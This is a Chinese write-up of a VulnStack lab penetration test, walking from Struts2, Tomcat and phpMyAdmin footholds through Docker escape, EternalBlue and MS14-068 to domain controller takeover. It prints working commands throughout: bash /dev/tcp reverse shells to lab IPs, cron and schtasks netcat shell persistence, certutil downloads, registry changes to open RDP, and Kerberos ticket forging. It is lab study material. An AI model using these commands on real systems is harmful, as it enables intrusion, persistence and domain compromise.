记一次VulnStack渗透

信息收集

netdiscover的主机发现部分不再详解,通过访问端口得知20001-2003端口都为web端口,所以优先考虑从此方向下手

图片

外网渗透

GetShell

Struct漏洞

访问2001端口后,插件Wappalyzer爬取得知这是一个基于Struct的web站点,直接考虑struct工具,一把梭

发现struct2漏洞,无法完整获得webshell,只有一个RCE权限,这里可以采用这种方法:

在revshell.com上生成一句话shell,ehco到文件中,然后使用bash执行,比如

0<&150-;exec 150<>/dev/tcp/192.168.253.174/4546;sh <&150 >&150 2>&150

表示向192.168.253.174的4546端口反射shell

python -c 'import pty;pty.spwn("/bin/bash")'一下子,就可以拿到root权限的shell了

Tomcat RCE

直接searchsploit,但是下载到EXP之后利用起来有点困难

tomcat的利用方式有时候有些奇怪,因为写入的webshell可能不在发布目录

图片

绝对路径是在usr/local/tomcat/webapps/ROOT/

然而shell显示的路径在/usr/local/tomcat

图片

所以一定要找好上传的webshell位置

phpMyAdmin

2003端口浏览器打开后发现是一个无需登录的phpMyAdmin管理站点

图片

这个利用方式相对困难,不能使用脚本一把梭

拿到一个SQL权限我会考虑两种技术:

  1. secure_file_priv

  2. general_log

但是发现这里的用户权限较低,无法打开日志功能,第二种方法失败:

图片

且无法写出文件,第一种方法失败:

图片

所以这里应考虑CVE,查看phpMyAdmin版本,搜索对应版本漏洞

图片

发现 cve-2018-12613 ,好嘛,本地文件包含!但是当我设置好路径exploit时,却发现:

图片

无法拿到系统的shell,后来我使用wireshark抓包分析才发现,原来msf会进行一次 POST 登录操作,而这里的PMA根本就不用登录,所以才会有这样的一个失败,因此只能手工利用,在这里我参考了

小白也可以看懂的漏洞分析(CVE-2018-12613)_Sisyphus」的博客-CSDN博客

这条文章,这里采用了一种先通过控制台查询SQL在session文件写入一句话马,然后再包含利用的方式,我也复现:

图片

那么接下来要包含的文件就是/tmp 目录下,以sess_开头pma结尾的文件了:

图片

成功!接下来直接用蚁剑连接就完成:

图片

Docker逃逸

进入系统后,要检查是否在虚拟机,或者在Docker中,Docker检查方法如下:docker环境下存在:ls -alh /.dockerenv 文件,所以检查是否存在该文件即可

docker逃逸就是从当前docke权限中逃逸出来,获得宿主机的权限。

相关知识点:(27条消息) 生命在于学习——docker逃逸_易水哲的博客-CSDN博客

这里的话,搜索文档以及大佬经验得知在特权情况下的docker可以挂载到物理机中,且该靶场只有2002的tomcat端口存在特权模式,所以只能用该方式逃逸

$ mkdir /tmp/rootdir
$ mount /dev/sda1 /tmp/rootdir
$ cd /tmp/rootdir

这样的话,就成功的进入到了宿主机器的根目录中,且权限为root

拿宿主机Shell

SSH密钥登录

那么我们可以考虑使用ssh-keygen生成密钥对,将公钥置于/root/.ssh/authorized_keys中(权限修改为只读chmod 400 *),然后使用ssh远程连接

计划任务反弹shell(*)

在计划任务里写入一个bash反弹shell的脚本:

cd /tmp
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.130/8888 0>&1"  >> shell.sh
chmod +x shell.sh写入crontab计划任务,表示每隔1分钟以root权限执行一次计划

然后用Kali监听即可nc -lp 8888

至此,我们成功的拿下了第一台主机web

内网渗透

信息收集

分析网络环境,经典双网卡

图片

搭建socks隧道

使用scp或者Python的http服务将ew上传到/tmp/hack目录,一定要改名!一定要改名!一定要改名!不然执行命令时会很麻烦

scp用法:

上传到远程192.168.2.105的/root/lab/test目录:

scp  -r /opt/test root@192.168.253.132:/root/lab/test

-r代表目录,如果上传普通文件则去掉参数-r

下载到本地:

scp root@vps:/root/lab/info.txt ./info.txt

这里还是使用ew,功能丰富,体积小,全平台兼容,可以搭建socks(端口转发)还可以端口映射

root@ubuntu:~/hack# ./ew -s ssocksd -l 3001&
[1] 124548
root@ubuntu:~/hack# ssocksd 0.0.0.0:3001 <--[10000 usec]--> socks server

存活探测

这里可以使用一个简单的小脚本,采用ping的方式探测

这个脚本可以说是万能脚本,用的时候注意修改网段

#!/bin/bash
for i in `seq 255`
do{
 ping -c 2 192.168.183.$i > /dev/null
 if [ $? -eq 0 ];then
  echo 192.168.183.$i is ok >> ip.txt
 fi
}&
done

然后可以查看ip.txt查看那些主机存活

192.168.183.1 is ok//物理机
192.168.183.129 is ok
192.168.183.130 is ok
192.168.183.128 is ok//web机器

那么就可以对.129.130这两台机器进行测试

永恒之蓝(稳)

对于MSF框架而言,本身就集成了代理模式,所以我们可以使用其代理进行内网渗透:

msf6> set Proxies socks5:192.168.253.132:3001
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set payload windows/meterpreter/bind_tcp
msf6> set rhost 192.168.183.129

一定要使用正向shell!反向Shell无论如何都不会成功因为目标是在内网环境

然后就会经历漫长的等待。。。和失败。。。多打几次的话就会出现奇迹

图片

最后会拿到一个meterpreter会话,但是可能是由于隧道原因,会非常不稳定!

所以我再拿到shell之后,迅速的打开了一个shell会话,使用certutil下载了提前部署在web上用python http.servernc.exe,然后使用schtasks,每分钟执行一次监听的正向shell:

schtasks /create /tn bindshell /sc minute /mo 1  /tr "nc -lp 4000 -e cmd" /ru system /f

然后就可以用web上的nc,获取到稳定的shell会话啦(可以映射到本地)

注,certutil的一些使用方法:

  • 编码(base64)

    命令:certutil -encode test.txt encode.txt

  • 编码(十六进制)

    命令:certutil -encodehex test.txt encode2.txt

  • 散列

    获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。

    命令:certutil -hashfile生成指定哈希值,例如:

    certutil -hashfile test.txt md5(生成md5)

  • 下载

    命令:certutil.exe -urlcache -split -f http://服务器ip:8000/xss.js

至此,我们就已经非常稳定地获得了第二个主机shell权限,且为高权限

当然,这里保险的方法是用 反弹Shlle,然后在跳板机上使用端口映射到本地,例如:nc VPS_IP 4444 -e cmd ,这样就算目标机器打开了防火墙,也仍然可以接受到 shell 会话。

图片

然后我会选择改掉 administrator 账户的密码为Dotest123(这是在靶场环境,如果是真实环境,应该进行权限维持,例如影子账户,粘滞键shell等)

坎坷&踩坑&疑惑点

因为中间有事,所以拿域控的任务我是过了好久才继续进行的,然后当我过了一个月之后再次打开我的 Vmware 开始拿域控时,出现了各种乱七八糟的错误,例如net time /domain 时抛异常,IPC连接失败,Mimikatz 获取凭证乱码:

Mimikatz 乱码:

我将猕猴桃上传之后,尝试一波 sekurlsa::logonpasswords 却发现:

图片

其一,无法找到域用户,其二,获取的凭证密码有些是已经被加密的,但仍然存在本地用户(先不考虑其是否可以正常登录)

账户登录出现问题:

于是我打算直接用获取到的本地账户登录机器查看原因,却发现:

图片

通过WriteUp发现一组域账户信息:

demo\douser
Dotest123

尝试登录发现如下错误:

图片

解决方法:

这个问题我去问了大名鼎鼎的 Chat-GPT ,他给出的解释是这样的:

图片

所以我在命令行中新建了一个本地高权限用户,然后登录了本地机器重新加入了一下域,之后就一切正常啦,mimi也可以抓得到域用户凭证信息了

我觉得原因是因为太长时间不登陆,所以两台机器时间不一致,导致了域信任关系丢失,重新加入一下域即可。对于mimi抓不到抓乱码我觉得可能是因为机器账户(在每一个加入域的计算机中都有一个以“ **计算机名+$**“ 结尾的账户)的原因,抓不到域用户就是因为信任丢失的原因,所以本地也不存在域的凭证了(这里都是本人推理出来的,网上搜索说法不一,欢迎大佬共同讨论~)

拿下域控:

在问题解决之后,继续进行了渗透:

信息收集:

域控定位,由于只有129,130两个机器,而且129已被拿下,所以猜测130就是域控:

图片

图片

接下来我喜欢打开目标的3389端口,然后在桌面上进行操作

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#打开3389端口
net localgroup "Remote Desktop Users" demo\douser /add
#给域用户添加登录权限

然后就可以开开心心的使用远程登录啦

图片

我们拿到的是普通域用户权限,应该查看一下域控:

图片

管理员:

图片

MS14-068提升域用户权限:

我们这里拿到了一个域用户权限之后可以提取出有用的信息,如SID,口令,用户名,域全名等,因此可以利用ms14-068工具生成票据然后利用mimikatz导入:

图片

ms14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1103 -d WIN-ENS2VR5TR3N.demo.com

注意这里一定要使用DC的全名:WIN-ENS2VR5TR3N@demo.com

否则生成会生成错误:

图片

这里是正确的结果:

图片

然后用mimikatz导入

图片

当显示这个效果的时候证明票据导入成功,此时我们可以使用 psexec 进行连接,

图片

成功!至此,我们终于拿下了域控机器

修改管理员密码,登录DC

图片

接下来还可以进行一些维权操作,当然,由于本次演示环境是靶场,便不再进行维权和痕迹清理

总结

本次靶场环境外网渗透相对比较简单顺利,且解题思路不止一种。通过三种方式都可以getshell,重要的是如何逃逸docker拿到宿主机的shell

内网环境除了拿域控稍有难度外,其他操作也是思路紧凑,合情合理,不过由于是内网渗透,所以牵扯到的知识点可能更多,更杂乱,但是总体不算难,多一些耐心还是可以成功的。这次内网渗透强化了我对kerberos的一些认识,大有收获。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/375123.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

微软Windows生态是怎么打造成功的?

&#xff08;1&#xff09;2015年Windows10&#xff1a;兼容性 我不得不再次佩服一下微软&#xff0c;Windows10是2015年出品的&#xff0c;但是仍然能正常运行绝大多数的Windows95软件&#xff0c;不用做任何的适配修改&#xff0c;连重新编译都不用&#xff0c;运行照样正常。…

游戏服务器租用多少钱一年(游戏服务器租用多少钱合适)

2024年更新腾讯云游戏联机服务器配置价格表&#xff0c;可用于搭建幻兽帕鲁、雾锁王国等游戏服务器&#xff0c;游戏服务器配置可选4核16G12M、8核32G22M、4核32G10M、16核64G35M、4核16G14M等配置&#xff0c;可以选择轻量应用服务器和云服务器CVM内存型MA3或标准型SA2实例&am…

TDengine用户权限管理

Background 官方文档关于用户管理没有很详细的介绍&#xff0c;只有零碎的几条&#xff0c;这里记录下方便后面使用。官方文档&#xff1a;https://docs.taosdata.com/taos-sql/show/#show-users 1、查看用户 show users;super 1&#xff0c;表示超级用户权限 0&#xff0c;表…

学会这一招,轻松玩转小程序自动化

♥ 前 言 app中混合应用自动化测试 会这一招&#xff0c;轻松玩转 app 中混合应用自动化测试 上次给同学们介绍了 app 中混合应用自动化怎么做&#xff0c;今天我们再来学习下&#xff0c;app 自动化之——小程序自动化。 一、环境要求 微信版本 weixin7.0.10.apk 版本&…

K8S部署Harbor镜像仓库(含离线安装包harbor-offline-installer国内下载链接)

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

2024/2/6学习记录

ts 因为已经学习过了 js &#xff0c;下面的都是挑了一些 ts 与 js 不同的地方来记录。 安装 npm install -g typescript 安装好之后&#xff0c;可以看看自己的版本 ts基础语法 模块 函数 变量 语法和表达式 注释 编译 ts 文件需要用 tsc xxx.ts &#xff0c;js 文件…

一句话总结Docker与K8S的关系

一句话总结&#xff1a;Docker只是容器的一种&#xff0c;它面向的是单体&#xff0c;K8S可以管理多种容器&#xff0c;它面向的是集群&#xff0c;Docker可以作为一种容器方案被K8S管理。下文继续具体介绍。 1、容器的核心概念 介绍这几个核心概念&#xff1a;OCI、CR、Runc、…

打包 iOS 的 IPA 文件

目录 摘要 引言 准备 选择证书类型 创建应用程序 设置应用程序标识和证书 配置构建设置 构建应用程序 导出IPA 签名和导出 代码案例演示 完成 总结 参考资料 摘要 本篇博客将为您介绍如何打包iOS的IPA文件。从APP提交、创建应用程序、设置应用程序标识和证书、配…

OCR文本纠错思路

文字错误类别&#xff1a;多字 少字 形近字 当前方案 文本纠错思路 简单&#xff1a; 一、构建自定义词典&#xff0c;提高分词正确率。不在词典中&#xff0c;也不是停用词&#xff0c;分成单字的数据极有可能是错字&#xff08;少部分可能是新词&#xff09;。错字与前后的…

深入探究:JSONCPP库的使用与原理解析

君子不器 &#x1f680;JsonCPP开源项目直达链接 文章目录 简介Json示例小结 JsoncppJson::Value序列化Json::Writer 类Json::FastWriter 类Json::StyledWriter 类Json::StreamWriter 类Json::StreamWriterBuilder 类示例 反序列化Json::Reader 类Json::CharReader 类Json::Ch…

消息中间件之RocketMQ源码分析(六)

Consumer消费方式 RocketMQ的消费方式包含Pull和Push两种 Pull方式。 用户主动Pull消息&#xff0c;自主管理位点&#xff0c;可以灵活地掌控消费进度和消费速度&#xff0c;适合流计算、消费特别耗时等特殊的消费场景。 缺点也显而易见&#xff0c;需要从代码层面精准地控制…

python+django+vue高校学生社团管理系统euw84

社团管理系统是一个B/S模式系统&#xff0c;采用django框架&#xff0c;MySQL数据库设计开发&#xff0c;充分保证系统的稳定性。在系统的测试环节&#xff0c;主要通过功能测试的方式&#xff0c;验证系统的功能设计是否符合要求&#xff0c;能否满足使用需求。本社团管理系统…

【实训】自动运维ansible实训(网络管理与维护综合实训)

来自即将退役学长的分享&#xff0c;祝学弟学妹以后发大财&#xff01; 一 实训目的及意义 1.1 实训目的 1、熟悉自动化运维工具&#xff1a;实训旨在让学员熟悉 Ansible 这一自动化运维工具。通过实际操作&#xff0c;学员可以了解 Ansible 的基本概念、工作原理和使用方法…

text-generation-webui搭建大模型运行环境与踩坑记录

text-generation-webui搭建大模型运行环境 text-generation-webui环境初始化准备模型启动项目Bug说明降低版本启动项目 text-generation-webui text-generation-webui是一个基于Gradio的LLM Web UI开源项目&#xff0c;可以利用其快速搭建部署各种大模型环境。 环境初始化 下载…

【VSTO开发-WPS】下调试

重点2步&#xff1a; 1、注册表添加 Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\kingsoft\Office\WPP\AddinsWL] "项目名称"""2、visual studio 运行后&#xff0c;要选中附加到调试&#xff0c;并指定启动项目。 如PPT输入WPP搜…

考研高数(一阶导与二阶导)

一阶导数 导数最大的作用是判断复杂函数的单调性&#xff0c;则可用一阶导判断原函数的单调性。 一阶导数>0&#xff1a;函数单调递增&#xff1b; 一阶导数<0&#xff1a;函数单调递减&#xff1b; 一阶导数0&#xff1a;函数是常函数。 也可以通过一阶导数0的根来…

一致性哈希算法

在分布式领域中各技术组件都有实现KV形式的存储&#xff0c;在实现各类工作能力的同时还简化了算法实现。以Raft分布式协议为例&#xff0c;它通过在领导者采用KV存储来简化算法实现和共识协商&#xff0c;但同时也限制所有写请求只能在领导者节点上进行处理&#xff0c;从而导…

TS项目实战二:网页计算器

使用ts实现网页计算器工具&#xff0c;实现计算器相关功能&#xff0c;使用tsify进行项目编译&#xff0c;引入Browserify实现web界面中直接使用模块加载服务。   源码下载&#xff1a;点击下载 讲解视频 TS实战项目四&#xff1a;计算器项目创建 TS实战项目五&#xff1a;B…

龙芯安装使用搜狗输入法

CPU&#xff1a;龙芯3A6000 操作系统&#xff1a;Loongnix 桌面主题&#xff1a;Cartoon 龙芯系统切换输入法的按键一般为&#xff1a;Ctrl空格。 1 安装搜狗输入法 进入Loongnix系统自带的龙芯应用合作社&#xff0c;寻找搜狗输入法&#xff0c;点击安装。 按下Ctrl空格&…

生成树技术华为ICT网络赛道

9.生成树 目录 9.生成树 9.1.生成树技术概述 9.2.STP的基本概念及工作原理 9.3.STP的基础配置 9.4.RSTP对STP的改进 9.5.生成树技术进阶 9.1.生成树技术概述 技术背景&#xff1a;二层交换机网络的冗余性与环路 典型问题1&#xff1a;广播风暴 典型问题2&#xff1a;MA…